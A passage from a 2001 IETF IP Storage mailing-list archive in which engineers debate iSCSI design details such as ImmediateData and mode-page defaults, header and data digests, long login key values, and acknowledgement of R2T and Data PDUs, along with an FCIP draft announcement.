do you avoid overflowing either side? Right now, each side only has to buffer one PDU worth of data (per connection). Your proposal increases that requirement to at least 2 PDUs. Dave Sheehy From owner-ips@ece.cmu.edu Wed Sep 19 20:05:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12824 for ; Wed, 19 Sep 2001 20:05:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JNDPE14649 for ips-outgoing; Wed, 19 Sep 2001 19:13:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JNDNP14644 for ; Wed, 19 Sep 2001 19:13:24 -0400 (EDT) Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 413EF2B35 for ; Wed, 19 Sep 2001 17:13:23 -0600 (MDT) Received: from acropora.rose.agilent.com (acropora.rose.agilent.com [130.30.179.5]) by msgrel1.cos.agilent.com (Postfix) with ESMTP id D1EAF3E5 for ; Wed, 19 Sep 2001 17:13:22 -0600 (MDT) Received: (from dbs@localhost) by acropora.rose.agilent.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.1.0) id QAA18242 for ips@ece.cmu.edu; Wed, 19 Sep 2001 16:12:25 -0700 (PDT) From: Dave Sheehy Message-Id: <200109192312.QAA18242@acropora.rose.agilent.com> Subject: Re: ImmediateData Text Parameter Negotiation To: ips@ece.cmu.edu (IETF IP SAN Reflector) Date: Wed, 19 Sep 2001 16:12:25 PDT X-Mailer: Elm [revision: 212.4] Sender: owner-ips@ece.cmu.edu Precedence: bulk > > I'd prefer "yes" as the default. > > Targets with memory constraints should limit the > maxCmdSN they advertise (allow only one cmd in the > worst case.. ) > > What are the other reasons why "no" would be preferred ? Historical I suppose. Fibre Channel initially didn't support immediate or unsolicited data. Unsolicited data cannot be directly placed so it requires extra work and buffering on the part of the target which isn't readily accelerated in HW and Fibre Channel's emphasis was on enabling HW acceleration. Recently (relatively anyway), FCP-2 added immediate data commands back into Fibre Channel and some Fibre Channel folks mentioned on this list that it was a good thing. Yet, to date, I have seen no customer interest in that functionality so it makes me wonder what the fuss is about. John's argument has been that we need immediate/unsolicited data in order to fill long fat pipes. He also has said the extra work required on the target side is worth it. I want to test those notions with the other systems and peripheral (e.g. storage array) vendors. Dave Sheehy > > -Sandeep > > > > Additionally, I feel that the default value for ImmediateData should be > > > "no". > > > > This comes down to what do we think the most common default behavior is > > going to be. So far IIRC, the only person who has explicitly stated that > > immediate data support will be the common default behavior has been John > > Hufferd. I'd like to hear the opinions of the rest of the list. > > > > Dave Sheehy From owner-ips@ece.cmu.edu Wed Sep 19 20:08:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12845 for ; Wed, 19 Sep 2001 20:08:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JNCDJ14596 for ips-outgoing; Wed, 19 Sep 2001 19:12:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JNCBP14590 for ; Wed, 19 Sep 2001 19:12:12 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1932332; Wed, 19 Sep 2001 16:12:12 -0700 Message-ID: <3BA92737.B5937183@redswitch.com> Date: Wed, 19 Sep 2001 16:16:07 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran , ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI - A Typo? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian: Refering to iSCSI-07 bottom of Page 31: On the incoming path, the Synch and Steering layer does not change the way TCP notifies iSCSI about in-order data arrival. All data placements, in-order or out-of-order, performed by the Synch and Steering layer are hidden from iSCSI "will" conventional, in order, data arrival notifications generated by TCP are passed through to iSCSI. Everything makes sense up the "will". Maybe you met "when"? Thanks for the help. Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 19 20:44:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA13099 for ; Wed, 19 Sep 2001 20:44:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JNb5w16228 for ips-outgoing; Wed, 19 Sep 2001 19:37:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from calliope1.fm.intel.com (fmfdns01.fm.intel.com [132.233.247.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JNb3P16223 for ; Wed, 19 Sep 2001 19:37:03 -0400 (EDT) Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id XAA04502 for ; Wed, 19 Sep 2001 23:37:02 GMT Received: from fmsmsx28.fm.intel.com ([132.233.42.28]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001091916364003086 ; Wed, 19 Sep 2001 16:36:40 -0700 Received: by fmsmsx28.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 16:37:08 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBE3@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'Dave Sheehy'" , ips@ece.cmu.edu Subject: RE: ImmediateData Text Parameter Negotiation Date: Wed, 19 Sep 2001 16:36:59 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk As both an iSCSI Target and RAID building blocks supplier, I agree with John and Sandeep that ImmediateData=Yes as default. In particular, for the very reasons attributed to John below. Stephen -----Original Message----- From: Dave Sheehy [mailto:dbs@acropora.rose.agilent.com] Sent: Wednesday, September 19, 2001 4:12 PM To: ips@ece.cmu.edu Subject: Re: ImmediateData Text Parameter Negotiation > > I'd prefer "yes" as the default. > > Targets with memory constraints should limit the > maxCmdSN they advertise (allow only one cmd in the > worst case.. ) > > What are the other reasons why "no" would be preferred ? Historical I suppose. Fibre Channel initially didn't support immediate or unsolicited data. Unsolicited data cannot be directly placed so it requires extra work and buffering on the part of the target which isn't readily accelerated in HW and Fibre Channel's emphasis was on enabling HW acceleration. Recently (relatively anyway), FCP-2 added immediate data commands back into Fibre Channel and some Fibre Channel folks mentioned on this list that it was a good thing. Yet, to date, I have seen no customer interest in that functionality so it makes me wonder what the fuss is about. John's argument has been that we need immediate/unsolicited data in order to fill long fat pipes. He also has said the extra work required on the target side is worth it. I want to test those notions with the other systems and peripheral (e.g. storage array) vendors. Dave Sheehy > > -Sandeep > > > > Additionally, I feel that the default value for ImmediateData should be > > > "no". > > > > This comes down to what do we think the most common default behavior is > > going to be. So far IIRC, the only person who has explicitly stated that > > immediate data support will be the common default behavior has been John > > Hufferd. I'd like to hear the opinions of the rest of the list. > > > > Dave Sheehy From owner-ips@ece.cmu.edu Wed Sep 19 20:49:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA13124 for ; Wed, 19 Sep 2001 20:49:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JNwBB17816 for ips-outgoing; Wed, 19 Sep 2001 19:58:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JNw9P17811 for ; Wed, 19 Sep 2001 19:58:09 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id CD9AC8C0 for ; Wed, 19 Sep 2001 16:58:07 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id QAA19151 for ; Wed, 19 Sep 2001 16:58:03 -0700 (PDT) Message-ID: <3BA93287.AE7F4B0A@cup.hp.com> Date: Wed, 19 Sep 2001 17:04:24 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : default iscsi mode page settings. Content-Type: multipart/mixed; boundary="------------6CA2B2E6A7FC54258DFCB2E5" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------6CA2B2E6A7FC54258DFCB2E5 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, Speaking on the subject of default settings, some questions on recent changes to the iscsi mode select pages...... 1) Section 3 of rev 7.94 of the iscsi draft attempts to call out default values for the iscsi mode pages. Per my understanding, there are no defaults for SCSI mode pages, and all the setting are assumed to be disabled, unless explicitly turned on/enabled through a mode select. IOW, the keys in scsi mode pages are defined to be enabling certain features and the default settings are that these features are turned off unless a mode select is explicitly used to enable them. However, the iscsi mode pages seems to be using the opposite policy and is advertising default settings for mode pages, that too, agreesive ones at that! IOW, an initiator implemenation has to explicitly issue a mode select to disable/turn_off features rather than issue a mode select to turn them on. Here's a few examples : * default MaximumBurstSize : 512 units * default EMDP : 1 (i.e. modify data pointers is enabled by default !) * default FirstBurstSize : 128 units. (i.e. initiators MUST use solicited data, unless they explicitly turn it off using mode select, since, not sending solicited data when it has been negotiated implies a target may abort the I/O. I suggest that in keeping with the scsi mode pages, NO default settings be advertised for any iscsi mode pages. i.e. all defaults are conservative (set to 0), unless explicitly turned on thru a mode select. Comments ? Regards, Santosh "Mallikarjun C." wrote: > Matthew, > > I completely agree that the default should be "no"! I pointed this > out sometime ago myself. Apart from what you point out, the default > setting for "ImmediateData" seems to be at variance with the > conservative default for "InitialR2T" ("yes"). > > Julian, could you please consider this request? > > Regards. > -- > Mallikarjun > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > Julian, > > > > Appendix D24 (ImmediateData) does not describe the result of negotiation if > > the two sides differ. I presume that since the default is "yes", then only > > if both sides agree to "no" is immediate data turned off. Please can this > > be stated. > > > > Additionally, I feel that the default value for ImmediateData should be > > "no". > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable the > > minimum is selected. --------------6CA2B2E6A7FC54258DFCB2E5 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------6CA2B2E6A7FC54258DFCB2E5-- From owner-ips@ece.cmu.edu Wed Sep 19 21:15:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13360 for ; Wed, 19 Sep 2001 21:15:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8K0H8j18953 for ips-outgoing; Wed, 19 Sep 2001 20:17:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8K0H6P18947 for ; Wed, 19 Sep 2001 20:17:06 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id ED72120625 for ; Wed, 19 Sep 2001 17:16:59 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id RAA20197 for ; Wed, 19 Sep 2001 17:16:55 -0700 (PDT) Message-ID: <3BA936F3.47485DBA@cup.hp.com> Date: Wed, 19 Sep 2001 17:23:16 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: ImmediateData Text Parameter Negotiation References: <638EC1B28663D211AC3E00A0C96B78A8086ABBE3@orsmsx40.jf.intel.com> Content-Type: multipart/mixed; boundary="------------E36235A184C3A857F5C8852B" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------E36235A184C3A857F5C8852B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The default settings should be conservative. Anyone offering advanced features must be preapred to do extra work to offer the same and this involves having to explicitly negotiate those keys to set it to aggressive values. In keeping with other scsi models such as scsi mode page settings, defaults must always be set to conservative values. - Santosh "Wheat, Stephen R" wrote: > As both an iSCSI Target and RAID building blocks supplier, I agree with John > and Sandeep that ImmediateData=Yes as default. In particular, for the very > reasons attributed to John below. > > Stephen > > -----Original Message----- > From: Dave Sheehy [mailto:dbs@acropora.rose.agilent.com] > Sent: Wednesday, September 19, 2001 4:12 PM > To: ips@ece.cmu.edu > Subject: Re: ImmediateData Text Parameter Negotiation > > > > > I'd prefer "yes" as the default. > > > > Targets with memory constraints should limit the > > maxCmdSN they advertise (allow only one cmd in the > > worst case.. ) > > > > What are the other reasons why "no" would be preferred ? > > Historical I suppose. Fibre Channel initially didn't support immediate or > unsolicited data. Unsolicited data cannot be directly placed so it requires > extra work and buffering on the part of the target which isn't readily > accelerated in HW and Fibre Channel's emphasis was on enabling HW > acceleration. > > Recently (relatively anyway), FCP-2 added immediate data commands back into > Fibre Channel and some Fibre Channel folks mentioned on this list that it > was a good thing. Yet, to date, I have seen no customer interest in that > functionality so it makes me wonder what the fuss is about. > > John's argument has been that we need immediate/unsolicited data in order to > fill long fat pipes. He also has said the extra work required on the target > side is worth it. I want to test those notions with the other systems and > peripheral (e.g. storage array) vendors. > > Dave Sheehy > > > > > -Sandeep > > > > > > Additionally, I feel that the default value for ImmediateData should > be > > > > "no". > > > > > > This comes down to what do we think the most common default behavior is > > > going to be. So far IIRC, the only person who has explicitly stated that > > > immediate data support will be the common default behavior has been John > > > Hufferd. I'd like to hear the opinions of the rest of the list. > > > > > > Dave Sheehy --------------E36235A184C3A857F5C8852B Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------E36235A184C3A857F5C8852B-- From owner-ips@ece.cmu.edu Wed Sep 19 22:27:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14925 for ; Wed, 19 Sep 2001 22:27:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8K1RRB22931 for ips-outgoing; Wed, 19 Sep 2001 21:27:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from revolt.poohsticks.org (revolt.poohsticks.org [63.227.60.74]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8K1RQP22927 for ; Wed, 19 Sep 2001 21:27:26 -0400 (EDT) Received: from revolt.poohsticks.org (localhost [127.0.0.1]) by revolt.poohsticks.org (8.11.3/8.11.3) with ESMTP id f8K1RFs10836 for ; Wed, 19 Sep 2001 19:27:15 -0600 (MDT) (envelope-from drew@revolt.poohsticks.org) Message-Id: <200109200127.f8K1RFs10836@revolt.poohsticks.org> From: drew@PoohSticks.ORG To: ips@ece.cmu.edu Subject: Data integrity MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <10833.1000949235.1@revolt.poohsticks.org> Date: Wed, 19 Sep 2001 19:27:15 -0600 Sender: owner-ips@ece.cmu.edu Precedence: bulk Currently, the data and header digests are completely separate. This makes it impossible to guarantee data integrity because an iSCSI initiator or target cannot detect when data with a correct digest has been incorrectly associated with the wrong command (perhaps because of defective hardware, firmware, or software). A PDU layout like this Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0 / BHS / +/ / +---------------+---------------+---------------+---------------+ 48/ AHS (optional) / +/ / +---------------+---------------+---------------+---------------+ ---- +---------------+---------------+---------------+---------------+ m/ Data-Digest (optional) / +/ / +---------------+---------------+---------------+---------------+ m/ Header-Digest (optional) / +/ / +---------------+---------------+---------------+---------------+ n/ Data Segment(optional) / +/ / +---------------+---------------+---------------+---------------+ where the Header-Digest includes the Data-Digest would avoid that problem and not require Data-Digest recalculation when the PDU is being forwarded with a re-written header. -- Home Page For those who do, no explanation is necessary. For those who don't, no explanation is possible. From owner-ips@ece.cmu.edu Thu Sep 20 01:03:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17614 for ; Thu, 20 Sep 2001 01:03:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8K48LI01185 for ips-outgoing; Thu, 20 Sep 2001 00:08:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar1ab.compuserve.com (siaar1ab.compuserve.com [149.174.40.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8K48JP01180 for ; Thu, 20 Sep 2001 00:08:19 -0400 (EDT) Received: (from mailgate@localhost) by siaar1ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id AAA04949 for ips@ece.cmu.edu; Thu, 20 Sep 2001 00:08:09 -0400 (EDT) Received: from compuserve.com (dal-tgn-tkl-vty2.as.wcom.net [216.192.224.2]) by siaar1ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id AAA04939 for ; Thu, 20 Sep 2001 00:08:01 -0400 (EDT) Message-ID: <3BA96CC5.9F663FAE@compuserve.com> Date: Wed, 19 Sep 2001 23:12:53 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: FCIP: draft-ietf-ips-fcovertcpip-06 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The latest revision of FCIP has been sent to the Internet Drafts office for publication. The major changes in FCIP 06 are: o Responsibility for validating transit time made truly end-to-end and moved from the FCIP Entity to the FC Entity. o Change the TCP connection setup model from an interaction basis (between the FC Entity and the FCIP Entity) to a shared database basis, where the FCIP Entity obtains necessary TCP/IP setup information from a shared database instead of explicitly from the FC Entity. o Added table of interactions between FCIP and FC Entities to Annex E. o Bring Security specifications in line with agreements reached at Irvine Interim meeting. If you must have a copy of FCIP 06 today (Thursday, 9/20/01), it will be available after 6 a.m. EST US at: ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v0.txt ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v0.pdf Enjoy. Ralph Weber From owner-ips@ece.cmu.edu Thu Sep 20 01:55:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20350 for ; Thu, 20 Sep 2001 01:55:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8K4oox03354 for ips-outgoing; Thu, 20 Sep 2001 00:50:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8K4olP03347 for ; Thu, 20 Sep 2001 00:50:48 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id GAA80386; Thu, 20 Sep 2001 06:50:36 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8K4oZH267020; Thu, 20 Sep 2001 06:50:35 +0200 Subject: RE: iSCSI - long key values To: "Wheat, Stephen R" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 21:32:55 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 20/09/2001 07:50:35 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Stephen, We don't want regular values to extend beyond 255 bytes (no good reason to allow this). As such we have 2 limits a) the value length limit AND b) the text block limit. I am not sure that we have to worry about the text block limit except if we are forced into shorter blocks by the framing mechanism. The block spanning mechanism enables us to avoid the first limit (and even here we don't have a good mechanism as bookmarks are target driven and we have to invent another mechanism for initiator driven bookmarks. It looks like the second solution I've suggested works in both directions and is "scalable" while the first needs an additional mechanism to scale beyond a block. Julo "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: RE: iSCSI - long key values 19-09-01 18:06 Please respond to "Wheat, Stephen R" Julian, Maybe I'm missing something, but I think the new "value extension" discussion is around how to send very long "values" in a list of key=value pairs. IF we may have key=value pairs arbitrarily span PDUs, then the sending of a long value is done simply by sending one text response PDU after another, some may have nothing but a 4KB "value" component of a key=value pair. The concatenation of the individual "value" components is then done on the Initiator side, through the process of concatenating the text responses (in order, of course). So, am I missing something here? Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 18, 2001 9:31 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Stephen, It is still on the "to consider list". How would that affect the individula value "extension" that we are considering now? Julo "Wheat, Stephen R" on 18-09-2001 17:57:36 Please respond to "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - long key values Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Thu Sep 20 01:56:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20466 for ; Thu, 20 Sep 2001 01:56:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8K4oqb03358 for ips-outgoing; Thu, 20 Sep 2001 00:50:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8K4ooP03352 for ; Thu, 20 Sep 2001 00:50:50 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id GAA49058 for ; Thu, 20 Sep 2001 06:50:37 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8K4oWH53074 for ; Thu, 20 Sep 2001 06:50:33 +0200 Importance: High Subject: RE: iSCSI: SNACK R2T/Data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 21:21:59 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 20/09/2001 07:50:33 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Matthew, I am also in favor of such a mechanism. It is easy to implement (another form of SNACK) and we have already built-in a mechanism by which an inbound stream can be marked for acking (the inbound sequence separator F bit). It can also be specified as mandated only if the within-command recovery class is present. However I am reluctant to open again this issue except if there are more supporters. Data ACKs where hastily dropped at the interim meeting in Orlando. I recall Somesh Gupta, Pierre Labat and Santosh Rao as being very vocal against them (arguing complexity) and carrying the room with them. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: 19-09-01 17:25 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" I am very much in favour of having a positive ACK mechanism to control buffer resources at the target. If there is a very large transfer (e.g. 1 Mb) then the sender can release buffer space once it knows that the receiver has received the data. It is worth pointing out that this mechanism is for buffer control and is not for flow control which, as we all know, is handled by TCP. Cheers Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, September 19, 2001 6:28 AM To: ips@ece.cmu.edu Subject: Re: iSCSI: SNACK R2T/Data There is no ACK mechanism. The group wisdom was that there is no need for one. Incoming data and R2Ts are not acked (a mechanism that did that existed and was based on NOP-Out). Julo Michael Schoberg on 18-09-2001 19:09:51 Please respond to Michael Schoberg To: "'ips@ece.cmu.edu'" , Julian Satran/Haifa/IBM@IBMIL cc: Subject: iSCSI: SNACK R2T/Data Old subject, but I couldn't find any discussion on this: When does the target know it no longer needs to hold R2T & Data PDUs? StatSN responses are acknowledged through the ExpStatSN field received in future I->T requests. What's the acknowledgement method for R2T & Data PDUs? Is it tied to the original request and acknowledged through the ExpStatSN acknowledgment of the request's response? Thanks. From owner-ips@ece.cmu.edu Thu Sep 20 03:21:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02869 for ; Thu, 20 Sep 2001 03:21:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8K6E1s06949 for ips-outgoing; Thu, 20 Sep 2001 02:14:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8K6DvP06941; Thu, 20 Sep 2001 02:13:58 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id IAA53846; Thu, 20 Sep 2001 08:13:46 +0200 Received: from d10hubm1.telaviv.ibm.com 